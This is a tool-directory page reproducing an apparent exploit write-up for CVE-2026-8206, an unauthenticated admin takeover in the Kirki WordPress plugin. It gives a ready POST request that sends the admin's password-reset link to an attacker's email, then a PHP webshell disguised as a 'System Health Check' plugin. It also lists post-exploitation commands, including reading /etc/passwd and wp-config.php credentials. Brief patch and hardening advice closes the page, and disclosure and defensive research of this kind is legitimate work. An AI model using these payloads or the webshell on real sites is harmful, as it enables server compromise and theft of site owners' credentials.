Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-8206 — CVE-2026-8206: Kirki Customizer Framework - Unauthenticated Account Takeover (CVSS 9.8) | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2026-8206
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationPapers & ResearchLearning & EducationPayload Development
GitHubdungsocool/cve-2026-8206

CVE-2026-8206

CVE-2026-8206: Kirki Customizer Framework - Unauthenticated Account Takeover (CVSS 9.8)

123 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2026-8206

Vulnerability: Unauthenticated Account Takeover — Password Reset Email Hijacking in Kirki Customizer Framework

CVSS v3.1 9.8 / 10.0 CRITICAL

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


1. Overview

CVE-2026-8206 is an Unauthenticated Account Takeover vulnerability in Kirki Customizer Framework — a popular WordPress page builder plugin with over 90,000 active installations. The vulnerability allows an attacker to take over any WordPress account (including admin) simply by sending a single HTTP request.

The bug resides in the REST API endpoint kirki-forgot-password of the ComponentLibrary module. This endpoint allows requesting a password reset for any user and sends the reset link to an email address specified by the attacker, instead of the user's registered email.

InformationDetails
PluginKirki Customizer Framework (WordPress Page Builder)
Affected Versions6.0.0 – 6.0.6
Patched6.0.7 (or 6.0.12+)
Vulnerability TypeUnauthenticated Account Takeover via Password Reset Email Hijacking
Endpoint/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (or /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password)
CVSS9.8 CRITICAL

Exploitation Prerequisites:

  • Kirki Customizer Framework 6.0.0–6.0.6 is activated
  • REST API is public (WordPress default)
  • ComponentLibrary module is active (default when the plugin is active)
  • No account or session is required

→ Every WordPress site with Kirki 6.0.0–6.0.6 installed is vulnerable by default.

2. Terminology

ComponentLibrary REST Endpoints

Kirki registers REST API endpoints for the Component Library feature, including login, register, forgot-password, and change-password. All of them allow guest access (guest_permissions_check returns true).

Nonce Validation

WordPress nonce is a CSRF protection token. Kirki requires a nonce via the X-WP-Element-Nonce header or checks a nonce parameter in the request. However, the nonce can be publicly generated/extracted from the client side.

Password Reset Key

WordPress uses get_password_reset_key() to generate a password reset token. This token is included by Kirki in the email template before sending.

3. Root Cause — Password Reset Email Hijacking

File: ComponentLibrary/controller/CompLibFormHandler.php

Bug 1: Missing email-to-user validation

In the vulnerable version (6.0.0–6.0.6), the handle_forgot_password() function does not verify whether the provided email matches the user's registered email. An attacker can specify the victim's username and their own email — the reset link will be sent to the attacker's email.

Vulnerable source code:

root@kitploit:~
public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

Bug 2: Missing HMAC signature on email template

The email subject and body are received from the client via the emailSubject and emailBody parameters without any HMAC signature to verify integrity. The attacker can arbitrarily modify the content of the email being sent.

root@kitploit:~
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

4. Why This Vulnerability Is Dangerous

FactorExplanation
No authentication required

5. Attack Chain Analysis

Exploiting CVE-2026-8206 starts from zero access — no account, no password, no session — to full admin takeover using only HTTP requests.

root@kitploit:~
Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

5.0 Payload Construction Methodology

Step 1: Reading the Source Code (most accurate method)

Download the plugin from wordpress.org and open the file CompLibFormHandler.php directly:

root@kitploit:~
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

→ Reading the code reveals: emailBody must be a JSON array, each item has type and value. If type = chip and value = reset_link, Kirki automatically inserts the reset link into the email.

Step 2: Grepping the Plugin's JavaScript Bundle

Grep directly within the plugin directory:

root@kitploit:~
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

The compiled frontend code will reveal the exact JSON structure required.

Payload Discovery Process Summary:

root@kitploit:~
Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

5.1 Phase 1: Hijack Password Reset Email

The attacker sends a POST request to the forgot-password endpoint with the victim's username (admin) and an email address controlled by the attacker ([email protected]). The server generates a reset key for the victim but sends the reset link to [email protected].

Sending the request:

root@kitploit:~
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Interceptor request sending reset email

Response (success):

Response confirming email sent

Email received in the attacker's mailbox (MailHog at http://localhost:8025):

root@kitploit:~
Subject: Password Reset

Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

MailHog inbox receiving reset key

5.2 Phase 2: Reset Password & Admin Login

The attacker uses the key token obtained from the email to change the admin account password via the kirki-change-password endpoint or WordPress's default form, then logs in and gains full administrative control over the website.

Password reset form

Password changed and accessed using the admin account.

Admin dashboard login success

Account admin access successful.

5.3 Phase 3: Upload Webshell & RCE

After gaining Admin Dashboard access, the attacker escalates from Account Takeover to Remote Code Execution (RCE) through WordPress's default Upload Plugin feature.

Step 1: Create a Plugin Containing a Webshell

The attacker creates a PHP webshell disguised as a legitimate WordPress plugin:

root@kitploit:~
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
    echo '</pre>';
}

This file is compressed into system-health.zip for upload via the Admin interface.

Step 2: Upload Plugin via Admin Dashboard

The attacker navigates to Plugins → Add New Plugin → Upload Plugin, selects the system-health.zip file and clicks Install Now → Activate Plugin.

Upload plugin interface

After upload, WordPress automatically extracts the .zip file into the /wp-content/plugins/ directory on the server, making the webshell ready to operate.

Step 3: Execute Commands on the Server (RCE)

The attacker accesses the webshell directly via the endpoint /wp-content/plugins/webshell-plugin/shell.php

RCE command execution whoami

RCE command execution passwd

RCE successful.

At this point, the attacker has full command execution capability on the server with www-data privileges. Subsequent actions may include:

Privilege Escalation Chain Summary:

root@kitploit:~
Admin Dashboard (Account Takeover)
       ↓
Upload Plugin containing Webshell (.zip)
       ↓
WordPress extracts → .php file resides on server
       ↓
Access shell.php?cmd=<command>
       ↓
Server executes command → returns result
       ↓
RCE complete — full www-data privileges on server

6. Attack Chain Summary


7. Defense and Remediation

7.1 Plugin Patch (definitive fix)

Current VersionUpgrade To
6.0.0 – 6.0.66.0.7 or newer

7.2 Code Fix — Validate email matches the user

root@kitploit:~
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response(
        array( 'message' => 'If an account exists...' ), 200
    );
}
$email = $user_email;  // Force use of the user's actual email

7.3 Hardening — Prevent RCE Escalation

Even if the Admin account is compromised, damage can be mitigated with the following measures:

Download Tool
guest_permissions_check() returns true — anyone can call the endpoint
Any account can be taken overOnly the username is needed (default: 'admin') — no email/password required
Impact: Admin takeoverTakeover admin → upload webshell → RCE → full server control
WidespreadKirki is a plugin widely integrated into many WordPress Themes
CommandPurpose
idConfirm the running user's privileges
whoamiView current username
cat /etc/passwdRead the system user list
uname -aView kernel/OS information
cat wp-config.phpRead database credentials
ls -la /Browse the entire filesystem
#PhaseMethodPath
1Hijack Reset EmailPOST/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
2Reset PasswordGET/wp-login.php?action=rp&key=<token>&login=admin
3Login AdminPOST/wp-login.php
4Upload WebshellPOST/wp-admin/update.php?action=upload-plugin
5RCEGET/wp-content/plugins/webshell-plugin/shell.php?cmd=<command>
MeasureConfiguration
Block plugin/theme installation via DashboardAdd define('DISALLOW_FILE_MODS', true); to wp-config.php
Block code editing from DashboardAdd define('DISALLOW_FILE_EDIT', true); to wp-config.php
Restrict upload directory permissionschmod 755 for directories, chmod 644 for files
WAF (Web Application Firewall)Deploy ModSecurity or Cloudflare WAF to block abnormal requests to REST API
MonitoringMonitor file changes in /wp-content/plugins/ using tools like OSSEC or Wordfence